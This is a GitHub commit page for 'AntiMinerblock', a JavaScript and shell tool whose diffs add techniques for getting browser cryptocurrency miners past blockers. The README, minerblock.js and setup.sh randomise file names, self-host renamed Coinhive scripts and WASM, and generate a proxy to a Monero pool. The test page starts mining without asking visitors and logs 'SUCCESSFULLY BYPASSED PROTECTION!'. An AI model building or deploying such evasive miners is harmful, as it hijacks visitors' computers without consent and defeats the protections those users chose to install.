Skip to content

Commit 5c9a2ee

Browse files
committed
Got the code to actually work
1 parent 35b0372 commit 5c9a2ee

File tree

4 files changed

+101
-29
lines changed

4 files changed

+101
-29
lines changed

README.md

+28-9
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,18 @@
11
# AntiMinerblock
22
This script attempts to bypass extensions or network blocks that prevent the use of online cryptocurrency miners.
33

4+
## 100% effectiveness from tested extensions
5+
* MinerBlock
6+
* AntiMiner
7+
* Adblock (all lists enabled)
8+
* Adblock Plus
9+
410
## Features
11+
* 100% success rate
512
* Obfuscates filenames per server
6-
* Attempts to use Coinhive, Crypto-loot, and Cloudcoins, in that order.
7-
* Starts a proxy for coinhive on the server automatically
13+
* Automatically creates proxy
14+
* Random port
15+
* Interactive setup
816

917
## Installation
1018
### Ubuntu/Unix
@@ -22,22 +30,33 @@ Not implemented yet (you can use cygwin for now)
2230
## Usage
2331
Call loadCryptominer, which will return a miner, and will return a value 0 to 4 referring to whether or not it worked.
2432
```
25-
0 - Coinhive
26-
1 - Crypto-loot
27-
2 - Cloudcoins
28-
3 - All blocked
29-
4 - Script not blocked, but failure creating miner instance
33+
0 - Remote coinhive
34+
1 - Local coinhive with proxy
35+
2 - Authedmine
36+
3 - Crypto-loot
37+
4 - Cloudcoins
38+
5 - All blocked
39+
6 - Script not blocked, but failure creating miner instance
3040
```
3141

3242
Example:
3343
```javascript
3444
loadCryptominer(function(miner, status) {
3545
//Code that mines
3646
//For example:
37-
if (status == 3 || status == 4) {
38-
document.write("Please disable your adblock or minerblock")
47+
if (status == 5 || status == 6) {
48+
console.log("TEST FAILED!")
49+
} else {
50+
console.log("SUCCESSFULLY BYPASSED PROTECTION!")
3951
}
4052
miner.start();
53+
// Update stats once per second
54+
setInterval(function() {
55+
var hashesPerSecond = miner.getHashesPerSecond();
56+
var totalHashes = miner.getTotalHashes();
57+
var acceptedHashes = miner.getAcceptedHashes();
58+
console.log(hashesPerSecond, totalHashes, acceptedHashes)
59+
}, 1000);
4160
});
4261
```
4362
## Donate!

minerblock.js

+15-15
Original file line numberDiff line numberDiff line change
@@ -20,20 +20,20 @@ function tryLoad(cb) {
2020
//check if it didn't load
2121
script.addEventListener("error", function() {
2222
var script = document.createElement('script');
23-
script.src = 'coinhive.min.js';
23+
script.src = 'locCoin';
2424
document.getElementsByTagName("head")[0].appendChild(script);
2525
script.onload = function() {
2626
console.log("Successfully loaded with local coinhive script")
2727
try {
2828
//strSub
29-
new CoinHive.Anonymous('cHive');
30-
status = 0;
29+
new CoinHive.Anonymous('walletId');
30+
status = 1;
3131
} catch (e) {
3232
console.log("Script loaded, but miner could not be initialized");
3333
status = 4;
3434
script.dispatchEvent(new Event('onerror'));
3535
}
36-
if (status == 0) {
36+
if (status == 1) {
3737
cb();
3838
}
3939
}
@@ -47,13 +47,13 @@ function tryLoad(cb) {
4747
console.log("Successfully loaded with authedmine script")
4848
try {
4949
new CoinHive.Anonymous('cHive');
50-
status = 0;
50+
status = 2;
5151
} catch (e) {
5252
console.log("Script loaded, but miner could not be initialized");
5353
status = 4;
5454
script.dispatchEvent(new Event('onerror'));
5555
}
56-
if (status == 0) {
56+
if (status == 2) {
5757
cb();
5858
}
5959
}
@@ -66,13 +66,13 @@ function tryLoad(cb) {
6666
console.log("Successfully loaded with crypto-loot script")
6767
try {
6868
new CryptoLoot.Anonymous('cLoot');
69-
status = 1;
69+
status = 3;
7070
} catch (e) {
7171
console.log("Script loaded, but miner could not be initialized");
7272
status = 4;
7373
script.dispatchEvent(new Event('onerror'));
7474
}
75-
if (status == 1) {
75+
if (status == 3) {
7676
cb();
7777
}
7878
}
@@ -86,18 +86,18 @@ function tryLoad(cb) {
8686
console.log("Successfully loaded with Cloudcoins script")
8787
try {
8888
new CLOUDCOINS.Miner('cCoins');
89-
status = 2;
89+
status = 4;
9090
} catch (e) {
9191
console.log("Script loaded, but miner could not be initialized");
92-
status = 4;
92+
status = 6;
9393
cb();
9494
}
95-
if (status == 2) {
95+
if (status == 4) {
9696
cb();
9797
}
9898
}
9999
script.addEventListener("error", function() {
100-
status = 3;
100+
status = 5;
101101
cb();
102102
});
103103
});
@@ -108,13 +108,13 @@ function tryLoad(cb) {
108108

109109
function processInfo(cb) {
110110
console.log("Status: " + status)
111-
if (status == 0) {
111+
if (status == 0 || status == 1 || status == 2) {
112112
var miner = new CoinHive.Anonymous('cHive');
113113
}
114-
if (status == 1) {
114+
if (status == 3) {
115115
var miner = new CryptoLoot.Anonymous('cLoot');
116116
}
117-
if (status == 2) {
117+
if (status == 4) {
118118
var miner = new CLOUDCOINS.Miner('cCoins');
119119
}
120120
cb(miner, status);

setup.sh

+26-5
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,31 @@
11
echo Generating random file name...
22
minerblock=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)".js"
3+
coinhive=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)".js"
4+
cryptonight=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)".wasm"
35
echo Downloading script...
4-
wget -O $minerblock https://cdn.rawgit.com/SkyrisBactera/AntiMinerblock/master/minerblock.js >/dev/null 2>/dev/null
6+
wget -O $minerblock https://rawgit.com/SkyrisBactera/AntiMinerblock/master/minerblock.js >/dev/null 2>/dev/null
7+
wget -O $coinhive https://coinhive.com/lib/coinhive.min.js >/dev/null 2>/dev/null
8+
wget -O $cryptonight https://coinhive.com/lib/cryptonight.wasm >/dev/null 2>/dev/null
59
echo What is your Coinhive site key?
610
read cHiveKey
711
echo What is your Crypto-loot site key?
812
read cLootKey
913
echo What is your CLOUDCOINS site key?
1014
read cCoinsKey
11-
echo Substituting the keys into $minerblock...
15+
echo Substituting the keys and filenames into $minerblock...
1216
sed -i 's/cHive/'$cHiveKey'/g' $minerblock
1317
sed -i 's/cLoot/'$cLootKey'/g' $minerblock
1418
sed -i 's/cCoins/'$cCoinsKey'/g' $minerblock
19+
sed -i 's/locCoin/'$coinhive'/g' $minerblock
1520
echo "Do you want to enable proxy functionality? This is very recommended, however, your computer/server would have to host it (y/n)"
1621
read proxyYes
1722
declare -l proxyYes
1823
proxyYes=$proxyYes
24+
clear
1925
if [ "$proxyYes" == "y" ]; then
2026
echo Checking dependencies...
2127
if hash npm 2>/dev/null; then
28+
echo Enter your password in order to install the proxy software
2229
sudo npm install -g coin-hive-stratum
2330
else
2431
echo Installing node...
@@ -27,7 +34,9 @@ if [ "$proxyYes" == "y" ]; then
2734
sudo apt-get install -y nodejs
2835
sudo npm install -g coin-hive-stratum
2936
fi
30-
echo Do you have a domain name?
37+
echo "What is your Monero wallet address?"
38+
read walletId
39+
echo "Do you have a domain name? (y/n)"
3140
read domainYes
3241
declare -l domainYes
3342
domainYes=$domainYes
@@ -37,10 +46,22 @@ if [ "$proxyYes" == "y" ]; then
3746
else
3847
domainName=$(dig +short myip.opendns.com @resolver1.opendns.com)
3948
fi
49+
echo "What is the URL for this directory? Example: https://fish.com/public"
50+
read directory
4051
echo Substituting the proxy into $minerblock...
41-
port=$(shuf -i 2000-65000 -n 1)
42-
sed -i 's/\/\/strSub/''CoinHive.CONFIG.WEBSOCKET_SHARDS = [["ws:\/\/'$domainName':'$port'"]];''/g' 4fkHQwBA.js
52+
#port=$(shuf -i 2000-65000 -n 1)
53+
port=80
54+
# This was such a pain in the a**
55+
sed -i 's~//strSub~''CoinHive.CONFIG.WEBSOCKET_SHARDS = [["ws://'$domainName':'$port'"]];''~g' $minerblock
56+
sed -i 's~"https://coinhive.com/lib/"~new URL("'$directory'").href~g' $coinhive
57+
sed -i 's~\\"https:\\\/\\\/coinhive.com\\\/lib\\\/\\"~new URL(\\"'$directory'\\").href~g' $coinhive
58+
sed -i 's~https~http~g' $coinhive
59+
sed -i 's/cryptonight.wasm/'$cryptonight'/g' $coinhive
60+
echo Generating proxy.sh...
61+
echo "coin-hive-stratum "$port" --host=pool.supportxmr.com --port=3333 --login="$walletId > proxy.sh
62+
clear
4363
echo You need to run proxy.sh along with whatever server software you are using as long as you want Coinhive to work
64+
echo Make sure to open port $port, otherwise your users may be able to bypass this
4465
fi
4566
echo You need to put the following into your HTML files that you want to have protection against Minerblockers:
4667
echo '<script src="'$minerblock'"></script>'

test.html

+32
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
<html>
2+
3+
<head>
4+
<script src="voPrAeAz.js"></script>
5+
6+
</head>
7+
8+
<body>
9+
<h1>Check the console for information</h1>
10+
<script>
11+
loadCryptominer(function(miner, status) {
12+
//Code that mines
13+
//For example:
14+
if (status == 3 || status == 4) {
15+
console.log("TEST FAILED!")
16+
} else {
17+
console.log("SUCCESSFULLY BYPASSED PROTECTION!")
18+
}
19+
miner.start();
20+
console.log(miner)
21+
// Update stats once per second
22+
setInterval(function() {
23+
var hashesPerSecond = miner.getHashesPerSecond();
24+
var totalHashes = miner.getTotalHashes();
25+
var acceptedHashes = miner.getAcceptedHashes();
26+
console.log(hashesPerSecond, totalHashes, acceptedHashes)
27+
}, 1000);
28+
});
29+
</script>
30+
</body>
31+
32+
</html>

0 commit comments

Comments
 (0)